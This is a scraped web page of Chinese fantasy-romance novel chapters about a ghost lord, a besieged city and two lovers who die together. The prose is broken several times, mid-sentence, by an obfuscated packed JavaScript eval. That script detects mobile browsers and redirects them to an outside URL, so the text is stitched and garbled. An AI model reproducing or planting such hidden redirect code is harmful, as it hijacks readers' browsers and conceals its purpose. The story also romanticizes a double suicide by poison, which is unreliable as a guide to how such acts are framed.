;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626608|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜已深,山顶寂寥,红光月仍妖异地映照着茫茫黑暗。 偌大的殿宇烛光明亮,床幔里,冷山月阖眼安睡,迷香的药力还未退散,还需沉眠许久。 床头倚着一道身影,侧着脑袋注视着她的睡颜。冰冷面具下,他的那双眼睛沉静下来,多了几分不可琢磨的深意。 他看了许久,而后抬起手,缓缓抚摸上她的脸颊,感觉到掌心温热的触感。他似贪恋,不肯移开。 “我知道我的出现是你意料之外的祸端,你厌恶我,因为我的身份和过往,可我并非天生如此。” “你逝去的这两百年间,我栖身黑暗中,你连我梦中都不肯来。你定是在怪我,怨我没有保护好你。” 他的手轻轻搬动她的脑袋,将她的脸颊转向他这面。他低下头,凑近些,与她额头相抵。他细嗅着她的气息,只是这一次她的身上没有桃花香了。 山飞夜闭上眼睛,脑海不自觉回想起当日的场景。乌云密布的天下,“阿夭”当着他的面将剑刺入胸膛,他看着她的鲜血喷涌出来,看着她痛苦地倒下。只是一切为时已晚,等他将敌人击退,拥抱在怀中的已是冰凉的身子。 阿夭对他说:“让我摸摸你的脸……我想吃你啊……我想知道你的味道啊……” 他看着她在自己怀中永远闭上眼睛,她的身子化成万片花瓣消陨在空气里…… 山飞夜缓缓叹息,阖眼轻蹭她的额头,又怕面具将她划伤,蹭了几下便停了。 夜幕已深,他灭了烛火,栖在她的身侧。枕边很香,很安逸。 …… 冷山月苏醒时,天幕仍漆黑。她四下望了望,发觉身处陌生的空间。她回想昏厥前的景象,明白过来她被山飞夜掳走,应该是在他的地盘了,只是不见他的踪影。 她缓了缓,从床上下来,推开殿门,一片红色入眼,是飘浮着的纸伞。里面的液体在月光的照射下闪着灵光,像是未经雕琢的璞玉,未经人手,却已是光华难掩。 天空闪烁着一个光点,越来越近,最后落在殿前。 花不杀道:“山月,你可安好?山飞夜可有伤害你?” 冷山月摇头道:“大人不用担心,他将我掳来,却没对我怎样,我很好。我不知他的意图,也很疑惑他为何放了我,只觉得他很奇怪。” 花不杀安心下来,握住她的手道:“无事便好,回城吧。” 他们往山下走去,刚走出几步,身后突然传来一阵破碎声。只见荨阳宫的主殿从上到下裂开一条长长的裂缝,摇晃着要倒下。 原本倒挂在殿外的红伞也一朵一朵陨落,里面的液体倾倒喷溅而出。 随后,又听见一声巨大的声响,荨阳宫竟整个塌了下去。 阿契兴奋道:“该死的山飞夜,坏事做尽,现在老天都看不下去了,真是报应!” 花不杀在一旁看着,默不作声。 荨阳宫是用幻术搭建的,如今塌了,灵力就会重新回到山飞夜身上。从前他分散力量维持着荨阳宫,是因为他知道即使没有全部的灵力,他们也不是他的对手。现在他撤了幻术,以后他们面对的就是真正的山飞夜了,毫无掩饰的、不遗余力的山飞夜。 待今日一过,魇尸炼成,他再有了可以驱使的阴兵,如虎添翼,对付他只会更加艰难。 来时路上,花不杀已传讯于镜司“凤叙”,请求派兵支援,但军队赶来至少还要一两个时辰。 平山城的结界力量正慢慢消退,没人知道它能不能撑到援军到来。 花不杀没有别的办法,只能赌,赌她一己之力能够护住平山城几时。 今夜注定是漫长的一夜。 23. 诀别 城主府。 连漪躺在床上,还没醒,言笙为他梳洗,换上一身婚服。她寻来红绸,将婚床装饰一番,烛台换上新的蜡烛,整间屋子一派喜庆。 一切弄完后,她换上婚服,坐在窗前的梳妆台前。铜镜里是她美艳的脸,红艳的婚服将颜色映在她的脸上,越发好看。 连漪昏睡好久,终于苏醒过来,看见眼前的情景,缓了缓神。他撑起身子,转头看见言笙的背影。 “阿笙?是你吗?” 闻言那人转过身来,眼中水光闪烁:“是,是我。” 言笙快速起身,走至床边,看着他憔悴的面容,心狠狠一揪,“对不起,是我害了你,是我不好。” 连漪费力地直起身坐着,看着她的脸,眼神有片刻迷离。可忽然间,他又语气骤冷道:“不是走了吗?还回来做什么?我不爱你了,也不需要你了,你走吧。” “你还是要赶我走?为什么明明心里那么苦,却还是要装作心狠的样子?我都知道了,你隐瞒的一切我都知道了!”言笙情不自抑,哭出声。 连漪脸上似有落寞,可语气强硬:“可我对你说的话却是真的,我厌弃你了。” 言笙坐在床沿上,握着他的双肩,“你还是想让我离开你,你还是不肯相信我,哪怕最后一次,你也不肯吗?” 连漪推开他的双手,厉声道:“你于我而言,从来都可有可无!” 言笙苦笑道:“你死了一了百了,可我呢?我不要再懦弱,这一次换我保护你,陪你一起。” 言笙亲吻他的唇,将他按倒,不论他如何挣扎,都被死死压在身下。她在他耳畔哽咽道:“我爱你,我需要你。” 连漪心中的防守被击溃,终于放弃抵抗,在她的侵略下主动迎合了上去。 “今夜,我们再成一次婚吧。” 言笙依偎在他的怀里,双臂环抱着他的腰。他们之间有太久没有肌肤相亲了,他们的唇瓣交叠在一起,感受着对方的温度,对方的滋味。 这一夜很漫长。最后他们精疲力尽,言笙枕着他的胸膛沉睡下去。 她再醒来时,窗外的天微微亮着。窗外传来剑的风吟,一道舞剑的清影隐约可见。 言笙推开殿门,红衣身影映入眼帘。连漪穿着婚服,挥舞剑式,英豪舞姿,无暇面容,堪称绝景。 月亮只在殿后露出小半个身子,东边微亮着。他们都知道,天快要亮了,连漪快要死了。 连漪舞着,突然一步没有站稳摔在地上。言笙冲上前去,将他坠落的身子揽进怀中。连漪在她怀中大口喘着气,额头、脸上、颈上沁出细密的汗珠,他的脸颊竟瞬间苍白了。 “你看我,竟是这般无用了,连舞剑都不行了。” 言纾微笑着看着他的眼睛,伸手将他乱了的发拨到耳后,手指慢慢落在他的脸颊上,竟已有些冰凉。天亮在即,连漪只会越来越虚弱,身体越来越冰凉,很快,他就再也看不见这个世界。 “你舞得很好看,一直都很好看。”言笙望着他。 连漪笑了,却仅仅是嘴角勾起,眼睛微弯着。 “抱紧我。”连漪用仅剩的一点仙力变出一把红伞,遮在言笙头上。 “第一次见你,天下着大雨,那时你一人躲在府外的墙角,浑身湿透了。你身穿一件破洞的薄衫,双手紧抱着膝盖,低着头,连我走近都没发觉,直到纸伞为你遮了雨,你才抬头看着我。那时你一脸雨水,眼睛哭过红肿着,头发凌乱搭在肩上。你抬着头,眼巴巴望着我,而我也鬼使神差,一见到你便心生爱怜。” “你生得好看,却被风霜凌乱着,我心不忍,将你扶起。一把红伞,我将大半遮在你的头上。你呆呆地望着我,说从没有人为你撑过伞,从来没人关心过你。以前我从不相信一见钟情,但那一刻,你让我信了。那时,我便下定决心,我要保护你,一辈子不让你受伤,一辈子为你撑伞。” 连漪望着言笙,泪珠顺着脸颊滑下,“可我还是伤害了你,即使万般无奈,但我还是亲手伤害了你。山飞夜附身,我无能为力,是我对不起你,上天不公,竟连偿还的机会都不给我。今生亏欠的,来世还吧。” 言笙双眼朦胧,抱紧他,“你从来没有对不起我,是我对不起你。” 连漪擦去她的泪痕,轻轻说:“别哭了,让我再为你撑一次伞吧。” 现在这把伞遮不了风雨,庇护不了她。 月亮慢慢西沉,东边一角又亮了些。殿前袭来一股风,在清冷的夜里冰凉刺骨。 “冷,抱紧我。”连漪浑身颤抖,嘴唇上下敲打。 言笙将连漪搂得更紧。从前总是连漪搂着她,现在换她搂着他,只有身体的温度,才能给他安心。 时间一点一点流逝,彼此依偎着,却都没有再开口。 临近日出时分,殿外更加寒冷。连漪身体冰凉,手发抖,但依旧撑着那把伞。 “冷……冷……”连漪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626609|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上没了血色,白得像纸。 “别怕,我在。”言笙俯下身子亲吻他的唇,手抚摸着他的脸颊,怔怔望着。 她已经做好决定,不再畏惧别离。她服下毒,与他一起赴死。 “别怕,我在……” 连漪越来越虚弱,身体慢慢僵硬,眼眸的颜色越来越淡,睫上落了一层水雾。 月亮终于彻底沉了下去,东边金色的太阳终于出来了。晨光遍撒,撒在殿前,撒在他们身上。 “不要!”言笙将纸伞遮在连漪头顶,拖拽着他的身子,将他的手脚笼罩在她的阴影下。 晨光是连漪的敌人,是她的敌人。晨光,会杀了连漪。 太阳一点一点升起,阳光也移动着,很快她的阴影再也笼罩不了连漪的身子。阳光照在他的身上,阳光照射下的地方闪着金光,皮肉化作灵光,一点一点消散。 “不要,不要!”言笙哭喊着将他的身体拉进她的阴影下,可遮了这处,漏了那处。 “不要,不要带走他。他那么好,为什么要这样,不要……” “言笙,不要这样,你救不了我,让我再抱抱你。” 连漪慢慢爬起,每一个动作都异常艰难。也不知道是哪里来的力量支撑着他,他竟直起身子,张开怀抱。言笙扑了上去,扑进他的怀里。 “阿笙……我……爱……你……” 耳畔传来他的声音,还有纸伞落地声。 阳光洒满了他们的身体。后背流淌着他还温热的液体,他的血。 他死了。 “连漪!连漪……”言笙发疯地叫着。 阳光照在他的脸上,他的眼,他的眉,他的鼻子,他的唇。他的脸颊和五官,在光下慢慢消散。 言笙跪在地上,呕出一口鲜血,她毒发了。血液洒在连漪剩余的一点皮肉上,他们骨血相融。 手上剩余最后一点金光,她伸出手,可再也抓不到他。言笙倒在地上,倒在他的血液里。 毒发作太快,瞬息,她已七窍流血,动弹不了,只是眼睛还隐约看得清。她用尽最后的力气抚摸那件婚服,上面已没有他的气息。 “等……我……” 言笙眼皮一沉,随他离去。 她的人生本是一出悲剧,只是因为遇见了他,才有了欢喜的颜色。 有人说,如果一对相爱的人穿着婚服死在一处,来世不管身在何方,他们的灵魂也会相互吸引,再续前缘。 24. 火海 阳光柔软撒在身上,暖意化去四方空气的阴冷。 这一夜,花不杀三人守在平山城城楼上,日出之前,城中一切尚安宁,可只待日出片刻,城外便有了异动。 远处群山之上一片红光闪耀,迅速蔓延,光中凝结出一道屏障一样的东西,向四周扩散开来,很快城门周围就被这道红色光屏笼罩。 远处的天上出现许多密密麻麻的红点,原是一大片红纸伞倒挂着向城门飘来,遮天蔽日。 花不杀环看周遭,发觉平山城的另一端也涌现大片红光,两边的光屏迅速铺开,很快将平山城的两端包裹起来,并且还有不断扩大的趋势。 漂浮的纸伞散在天空的每个角落,几乎遮挡住全部阳光,整座城瞬间黯淡失色,漆黑如夜。 阿契闻见一股随风袭来的浓重鬼气,天空中随之密布着阴暗气息,令他感觉一阵寒凉,心中不安。他道:“有鬼来了,是很厉害的鬼,好压抑的气息。” 冷山月道:“看来山飞夜终于要动手了。” 花不杀道:“既来之,则战之。趁着光屏没有将整座平山城笼罩起来,我们合力将它拦下。” 花不杀一个飞身跃到半空中,冷山月和阿契紧随其后。他们面朝两边,各自发力,阻拦一侧的光屏。 栖谲、白罹在空中飞速穿梭,与光屏对峙,阿契也凝结光剑加入其中。强大的力量撞击,爆发出一层层灵力场,如浪潮在空中翻滚,席卷同一平面上的一切东西,直有荡平山川之势。 三人努力控制佩剑,虽然阻止不了光屏慢慢扩大,但总体上维持在一个相对稳定的状态,但渐渐的他们稍感吃力起来。他们都知道,如果这道光屏彻底合上了,她们就会如同瓮中之鳖。支援的军队正往这边赶来,可还需要一些时间,他们只能强撑。 突然,天空传开一声如惊雷般骇人的爆炸声,光屏力量骤强,竟直接逼退栖谲和白罹,迅猛扩张。 三人被这突如其来的爆炸力量波及,虽结阵抵御,还是被逸散的能量重重击中胸口。他们被迫坠落,也正是这一刹的失防,他们眼睁睁看着两边的光屏在一瞬间拼接起来。整座城池终于被彻底包裹,形成一个巨大的包围圈。 他们落地站稳,不待喘息,天上飘散的红纸伞又快速涌动起来,由四周向中间靠拢。原本还有一些零零碎碎的空隙透着阳光,可是现在,那些空隙被纸伞堵得严严实实。 一道道瘦弱的光线被扑灭,由中间向四周,终于那最远处的一道光束也被封上。整个视界彻底陷入黑暗,没有光亮,没有希望,一片死寂。 空气里飘来一股香气,原是那些纸伞的伞面突然泛起淡淡光芒,一层层香气从伞面脱离散发,如同云烟般逸散开来。 它们随着微风翻滚着,泛着淡淡光芒,像一朵朵巨大的云彩那样,翻搅交融。香味飘散到平山城的每一个角落,空气处于极度的低压状态,每个人都感觉快要窒息。 山飞夜的香气自带让人浑身脱力的效果,吸入得多了,身体便会渐渐疲软,再也不能使用仙法。平山城仙民众多,可魇尸数量也不少,原本他们对付魇尸就已经很吃力,若再失去仙力,就真成了案板上的鱼肉。 花不杀盘腿坐下,简单调息,掌心拖出两道紫光,手掌聚力将它们发出。那光便如闪电而去,瞬间侵袭空中,在那层香海下方绽裂开来。她设下结界,将平山城下部与上部分离,趁着香气还没有全部散开,将城内笼罩起来。 可是接下来发生的事却让她始料未及。头顶的香气积压在结界上,竟然能够清晰地感觉到有一股力量在向结界施压。原来山飞夜在香海里也倾注了灵力,他就是要绝了他们的后路! 花不杀以自身力量支撑结界,纵使有冷山月和阿契助力,结界上的紫光仍在瞬间消失大半。 香阵向下侵袭,结界被挤得变形,眼看就要碎裂。继而香阵里微芒翻滚,传来几声沉闷的爆炸声,伴随着出现几个火红的光团,香阵内竟凭空生出火焰燃烧起来! 火光有风的助力瞬间燃遍整个天空,炽热的灼烧感扑面而来。火光燃烧伴生出一股更大的力量,霸道力量频繁攻击着结界,随时可能碎裂。花不杀穷尽力量也没有办法控制局势,只能尽力维持现状。 只片刻,结界不堪受负裂开一个口子,那火光瞬间钻了进来,在结界内部霸道扩张,向四周蔓延。 花不杀想要修补漏洞,持剑飞上天去,却突然一个火球重击下来。她被这力量波及,一口鲜血喷出,身子快速坠落下去。 冷山月飞身接住花不杀,接替她飞上半空修补结界,可刚要发力,几个火球就砸了下来,将她逼回原地。 结界没了灵力的支持,终于彻底破碎了。漫天的火焰如雨般倾泄而下,以极快的速度向下逼近。 烧灼感越来越强烈,泥土中的水分快速蒸发,很快变成松散的尘粒。风一吹,卷起大片沙土,顿时黄沙漫飞,整个世界只剩下红色和黄色两种颜色。 花不杀催动栖谲,强行在火海里设下一个护罩。天上不时有火球坠落,砸在周遭,地面形成一个个大坑。 阿契站在花不杀身后,紧张攥紧她的袖子。花不杀牵住他的手,看看阿契,又转头看看冷山月,安慰道:“看来这一切非我们之力能够阻止,援军不知何时能到,我们只能撑下去。阿契、山月,我会战到最后,拼死守护你们,你们靠近我,别害怕,我定撑到援军到来。” 冷山月道:“我与大人一起,要生一起生,谁也别落下。” 头顶红光乍现,一个巨大的火球滚落下来,竟直接穿透护罩,陨落在他们面前。火焰瞬间在地上蔓延开来,很快占领护罩内的方寸之地,他们被逼到角落,眼看火焰向他们扑了过来。 却突然出现一个更大的结界将他们包裹起来,花不杀回头,看见身后站着密密麻麻的人影,原来是平山城城民合力设下结界,救了他们。 人群中一青衣男子走了过来,看着花不杀道:“先前阻止城主布阵,我还道你们是有意为之,居心叵测。直到昨夜尸群攻城,你设下结界护住平山城几时,今晨又以一己之力力护城中,我才信了你。我不知你是谁,为何如此做,但你愿以命相搏,我便不再疑你。身为平山城辅城官,平山城有难,我不能坐视不理,但力量微薄,武力不精,实难施展。现将我等灵力渡你,只盼有一线生机。” 青衣人上前一步,开了个聚灵法阵,身后仙民尽将力量汇入阵中,再由青衣人借助法阵将力量渡往花不杀体内,立时一股灵力流转经脉间,通达各处。 花不杀伤势复原,灵力恢复不少,她向青衣人道:“多谢。这异象来得奇怪,霸道凶猛,我也只能尽力拖延。援军已在路上,再撑一会儿就好,希望一切都来得及。只是你将灵力渡我,你如何防身?” 青衣人叹笑一声,“一条命又算什么,我满手杀孽,手下冤魂不少,为城而亡,也不妨是种解脱。” 天上火球不停坠落,身后结界虽有万人支撑着,但城民原本就灵力低微,支撑许久,加上渡力,已差不多消耗殆尽。越来越多的火球倾泄而下,强大的攻势下,结界的裂口瞬间扯大数倍。 花不杀欲加持结界,却没等她出手,整个结界便像被一只无形的手突然扯去,瞬间消失不见。与此同时,数万城民被莫名的力量波及,全都受伤呕血,摔倒在地上。 火焰肆无忌惮地侵吞一切,整座城池全被火光笼罩。城民来不及逃脱,被火焰燃烧着衣料,炙烤着皮肉。一时间空气中弥漫着一股烧焦的血腥味,哀嚎惨叫响彻云霄。 花不杀闭上眼,感受着体内灵力的流动轨迹,身体深处那股莫名的力量此刻却像消失了一样,没了半点痕迹。她本想靠意念调用珠子的力量,可是搜边全身,那珠子竟像是凭空消失了。 她心内祈求道:“幽冥神尊,我不知道你是谁,但如果你真的存在,请帮我一次!” 花不杀虔诚祈祷,终于片刻之后,腹部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冷山月和阿契靠着仅剩的灵力支撑,没有受到多大伤害,他们很快反应过来,将活着的仙民聚在城外山头高地,用结界将他们笼罩起来。 花不杀俯冲下来,将含在嘴里的一团紫光吐出,生成花朵的模样,变成一艘巨大的“莲舟”。她用身子缠绕着守护仙民的结界,轻轻将结界放入莲舟中,接着用身体护着莲舟飘上半空。 地面交锋的能量总算释放完了,光芒渐渐淡去,血海里涤荡着涟漪。火焰都消散了,血液把城池填成海面,整座平山城瞬间夷为平地。灾难总算过去,“死亡风暴”之后的世界异常风平浪静。 阿契捂着疼痛的胸口,颤抖地站立起来。他抬头看着花不杀缠绕在结界上的身子,一双有力的翅膀托着长长的蛇身和整个莲舟,维持着平稳的状态。 火焰肆虐,城民在其面前毫无还手之力,火灾过后活下的仅仅只有数千人。莲舟将他们托着,他们被包裹在结界中,莲舟被同样身形巨大的繇蛇缠绕包裹。 花不杀将莲舟藏在腹下,双翅翻出厉风,吹散周遭的火焰,硬是在血涌火燎的死亡之境辟出一方容身之所。可是她的鳞甲几乎都快脱落光了! 繇蛇身躯硬生生被撕扯开长长的口子,鲜血顺着结界流了一壁。他们只看见她从容地翻卷风龙,却不知道火海早已将她重创。 她只是蛇,无法像龙那样穿梭在火焰中,即使有珠子的力量护体,可山飞夜设下的火海,力量又哪里是单单一个她能够抗衡的啊。 阿契泪眼婆娑,哭喊着:“姐姐,姐姐……” 冷山月也湿了眼睛。 花不杀在结界上移动着身体,转了个方向,回望他们。她安抚道:“阿契、山月,别哭了,我不是还好好的吗?我可不是软柿子,可不是好捏的,别担心了。” 冷山月怨怪道:“大人,你都这样了,怎么没事啊,皮都快被烧没了,结界都快被血染红了,你还说没事!” 花不杀大大的脑袋伏在结界壁上,眼中温热的液体打转,心中暖意流窜,“阿契,山月……” 冷山月忽然道:“大人小心!” 身后闪现一大团刺眼的光芒,几乎同时巨大的轰鸣声响起,一股强大的杀气袭来。 未知的力量,在这伞下漆黑如夜的世界里,一切都变得恐怖起来…… 25. 重获自由 那光亮刺穿黑暗,瞬间从天边飞袭而来。巨大的声响随之传入耳中,昭示着这股力量的强势与不可违逆。待那光越到头顶,众人这才看清那光竟是一道惊雷! 可刚刚不还是晴天么,这哪来的雷电? 花不杀刚回过身,那雷电就直接劈了下来,瞬间抵达她的五脏六腑。她的身子突然抽搐起来,身上的鳞甲一瞬间全被力量震飞出去,血液从伤口喷涌而出,皮肉烧得焦黑。 她甚至来不及惨叫一声,强大的力量就让她瞬间失去反抗能力,她立刻昏了过去。 阿契惊呼道:“姐姐!” “大人!”冷山月顾不得胸口的伤痛,突破结界,随着花不杀跳下莲舟。 花不杀跌落进血海里,冷山月紧随其后,将她下沉的身子拖出血海。花不杀化为人身,冷山月搂紧她皮开肉绽的身体,轻轻晃动她焦黑的脑袋。 “大人!大人!你快醒醒,你别吓我啊!”冷山月急得哭了出来,手指放在她的脖颈上感受她的脉搏跳动,却发现只有极其微弱的振动,她慌了。 她本就重伤未愈,强行飞进火海,又弄得遍体鳞伤。拼尽全力抵抗血海,还要强撑着托起莲舟,她哪里有那么大的力量啊? 冷山月轻轻抚摸着花不杀焦黑的脸颊,手上沾满了她的鲜血。 “大人,你醒醒好不好,你别吓我,我好害怕。大人,你不是就爱欺负我么,等你醒了,我天天都让你欺负,你快醒来好不好?我们还没有杀了山飞夜,案子还没结束,你醒来,我们一起去杀了他啊!” 冷山月泣不成声:“大人,算我求你了,你醒来好不好?以后我什么都听你的,你醒来啊!每一次都是你豁出命去救我,你为我受伤,为我流血,身处险境,你却总是要让我全身而退,可是你知不知道,我也可以豁出命去救你啊!你怎么就倒下了,我还没有救过你啊。醒来吧,好不好?你睁开眼睛看看我,你说句话啊,哪怕动一动手指头,睁一睁眼皮……” 冷山月把脸颊贴近她的脸颊,触到的皮肤已经变得冰凉,她愣了好半天。 阿契跳进血海,游到花不杀身旁,他学着青衣人想把灵力渡给她,可试了几次一点作用也没有。他心里焦急,不知该如何帮她,看着她的惨状,心里也很痛。 他哽咽哭道:“姐姐,你醒醒,我和山月姐姐都很担心你啊,我们需要你。你醒来吧,我们离开这里,我只要姐姐好好的,我们不要管这里了。姐姐醒来吧,我们害怕啊。” 花不杀的脉搏正在变得越来越微弱,她的身体慢慢冰凉,这都是不好的预兆。 天上轰鸣声又响了起来,一大片刺眼的白光不知什么时候出现在伞的下方,光芒里几道亮白色的雷电交替闪现。白光不停地爆炸,为闪电积蓄着能量,随时可能再劈下一道来。 冷山月向天怒视,吼道:“有本事你冲我来啊,有本事你一下就要了我的命啊!你不是很厉害吗?怎么不来啊,你杀了我啊!” 身后传来一声凄厉的讪笑,接着阴冷的音调传来:“怎么,小丫头竟如此暴力了么?” 冷山月转头,却发现来者竟是昨夜被花不杀一剑杀死了的白面鬼! 阿契惊讶道:“你……你不是死了吗?!” 冷山月也不敢相信。 “哈哈哈哈哈!”白面鬼放肆笑着,“死?我本就是鬼魂,还能怎么死?我只不过是被打散了魂魄而已。” 冷山月道:“白面鬼,你不要得意,可以杀你一次,就可以杀第二次,你敢作恶,我定叫你灰飞烟灭!” 白面鬼不赞同地笑着摇摇头,“你们都已经这般模样了,还能是我的对手吗?我虽然法力不高,但也是有仇必报的!” 白面鬼指着花不杀,“她当时刺我一剑,害我散了魂魄,如今我用雷电要了她的命,也算得上礼尚往来了。” 阿契道:“你这卑鄙的鬼!明的玩不过,就玩阴的,恶心至极!” 阿契心中窜起一股怒火,当即控制光剑朝他杀去。白面鬼轻松躲过光剑的攻击,躲避瞬间召唤出他的佩剑,朝他们杀来。 白罹与光剑汇合,同时抵御攻击,但因为阿契剑术不强,冷山月又实在伤得太重,白罹和光剑没几下就被打飞了出去。 白面鬼的剑嗖的射来,速度太快,冷山月再无还手之力,被剑从腹部进入,直接刺穿。她捂着伤口,疼得身子缩在一起,面目瞬间狰狞起来。白面鬼再使出一个剑招,如法炮制重伤了阿契。 他踏着血浪步步接近,最后停在冷山月前方。他蹲下身子,戏谑地摇着头,满脸得意。 白面鬼道:“刚刚不是还很嚣张吗?你有几斤几两,不还一样是手下败将吗?” 冷山月狠狠朝他啐了一口,“白面鬼,你就这点能耐吗?敢不敢给我来个痛快一点的!” 白面鬼一边笑着一边站起身,“小丫头,你还挺狠的呢,要刺激的,行啊,我满足你!” 话音刚落,一只脚就踩上了冷山月的肩头,他用力往下,将她的身子踩入血海中。一会儿后他又松开脚,让她挣出血面。 冷山月满脸鲜红,仍发狠道,“就这样?没用的东西!” “小丫头,看来你不满意啊?” 白面鬼冷笑着,又重复着刚才的姿势,把她按进血海里,又让她自己浮上来,再把她踩下去。 阿契想上前救冷山月,白面鬼却变幻出一个屏障,将他锁在原地,一点也靠近不了。阿契只能大喊着:“白面鬼,你放开姐姐,你冲我来,我不怕你!” 如此往复了十几遍,冷山月依旧面不改色,丝毫不惧。白面鬼自觉没趣了,收回脚,后退几步,指着天上那团白光。 “看见那雷电没有,你的大人可是一道闪电就晕死过去了,你法力不及她,怕是当场就死了吧,哈哈哈!” 冷山月哼一声,道:“不就是几道闪电吗?你尽管放马过来!” 白面鬼脸色稍微正经了一点,他本以为冷山月看见花不杀的惨状会立刻向他求饶,却没想到竟是个软硬不吃的倔骨头,顿时心觉有趣,对冷山月倒生出一丝敬意。 “既然如此,那便好好享受吧。” 白面鬼手指上空,头顶的白光突然翻滚起来。白色光团爆裂,巨大的冲击能量被闪电吸收,闪电瞬间变得迅猛霸道。 他再一挥手,一道闪电便劈了下来,伴随着巨大的轰鸣声向下传递。 冷山月闭上眼睛,自知不是闪电的对手,早已做好了被劈死的准备。 …… 鬼界,王殿之上。 山飞夜双膝跪地,在他前方台阶之上是鬼君王座,王座上并无人,只有一团红光悬浮于半空中。 山飞夜臣服于红光之下,行过叩拜礼,他抬头看着红光道:“你交代的事我已完成,按照约定,你该放我离去。我入鬼界整整二百年,替你干了不少杀戮事,付出的代价也够了,从今日起,你我之间的誓约不再作数,你休要再控制我。” 红光闪烁几下,一个低沉声音从光中发出:“鬼阴,你想好了,决定退出鬼界了?我们之间的交易还没结束,你的夙愿也还没达成。昨日我告诉你那只桃花妖的转世音讯,让你在平山城等候,想必此时你已见到你的心爱之人了,可你心心念念的家人呢?你入我鬼界时,愿以己身百年自由为代价,换取我手中转世之人的音讯,本君掌天下命簿,你的家人和你心爱之人,他们的方位只有我能告诉你,你不想找到家人了吗?” 山飞夜道:“我与亲族血脉相连,只要家人活着,总有找到的那天。上一世我没护好阿夭,这一世上天再让我遇见她,我定豁出性命守护,寸步不离。我为傀儡二百年,为今只想要自由,我心已决,望鬼君成全。” “既如此,也罢,你心不在,留身何用?这两百年来你帮了我不少,我便发发善心,成全了你。” 红光普照大殿,忽然间脚下化作一条大河,四周是白骨堆成的山野。河上一座桥,提笔写奈何,大河向西流,世人曰忘川。 “蹚过忘川河,洗去鬼王咒,还你自由身。去吧。” 山飞夜落入忘川河中,冰凉刺骨的河水立刻拥上来,淹没至他锁骨之下。忘川河水乃尸水所酿,空气里盈满恶臭气息,河水伴有极强的腐蚀性,血肉遇之则化,在这里即使是最厉害的仙鬼,要渡河而过也要脱层皮、拔层筋。 山飞夜一入河中,河水便开始销蚀他的衣物和毛发。接着是肌肤,河水如蚀骨之蚁“咬”开皮肤,渗透进血肉,伴随而来的是周身剧痛,鲜血淋漓。 他忍痛在河中行走,走了几步,他的身上突现一片红光,一些神秘古拙的咒印浮现出来,爬满了他的全身,便是鬼王咒。 凡入鬼门,身与心皆属于鬼君,鬼王咒便是鬼君驭下秘术,顺之则生,违之则死。打上鬼王咒烙印痛苦,洗去鬼王咒更痛苦百倍。 咒印如同活的厉鬼,山飞夜每动一步,咒印便“撕咬”他的身体,令他身上出现细长的裂纹,加剧河水销蚀的速度。 待他走到河的中央,他的肌肤已无一寸好肉,鬼王咒却只是变淡些许。洗咒的过程要持续整整一个时辰,直到将十里忘川河踏遍,这禁身咒术才会破解。 不过一刻钟,山飞夜已虚弱不堪,面目痛苦狰狞,脸颊发白冒汗。灵力随着血肉的销蚀快速流逝,护身的力量将会越来越微薄,过程会越来越痛苦。 等他终于走遍十里忘川河,他身上已多处露骨,几乎要散架。随着他身上最后一丝红光的黯淡,爬满身躯的那些古拙印迹终于完全消失。鬼王咒被河水洗去,他终于重获自由身。 山飞夜沿着河床一点点爬上岸,瘫在白骨堆成的地面上大口喘息。脱离河水之后,骨肉不再销蚀,他残破的躯体在灵力的滋养下慢慢复苏恢复。 山飞夜望着天,喜极而泣,他等这一天太久了。他栖身黑暗,出卖灵魂,失去自我,但好在人生至暗的时刻已经过去,迎接他的将是阳光下的新生。 手腕红光闪烁,如有细绳牵动一般,传来异样的牵引感。山飞夜抬起手腕查看,只见一圈细如发丝的红线缠绕在手腕上,此刻这条细线闪烁着光芒,急剧颤动着。他当即明白过来,命契牵连着的另一人有难了,冷山月遇到了危险。 山飞夜来不及等身体复原,化作光芒猛冲上天,赶回平山城。 …… 白光集聚而成的闪电力量恐怖,它劈下的一刻天地惊变,白光耀目,地动山摇,直有毁天灭地之气魄。 冷山月知道自己会是什么下场,但她不惧。她阖上眼,仰起头,直面这股力量。 可是瞬息之后却不见闪电落在自己身上。 她讶然睁开眼,却看见身前一个红衣身影,生生将闪电接下了。 竟是山飞夜! 山飞夜脚踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他可以忍受地狱无边的摧残,受尽非人的折磨,他可以为了与她相遇,背负过去那黑暗的一切。可再见之时,他们已是对手,他终于失去了她。 眼泪划破脸颊掉下来,山飞夜颤声道:“山月,你闭上眼睛,我帮你把剑拔|出来。” 山飞夜用很温柔的语气对她说,冷山月有些失神。他不是一直都想杀死他们的吗?可为何一反常态,替他挡下惊雷,又用光屏将她们保护起来?她受伤,他不该开心吗?为何为她的伤势动容? 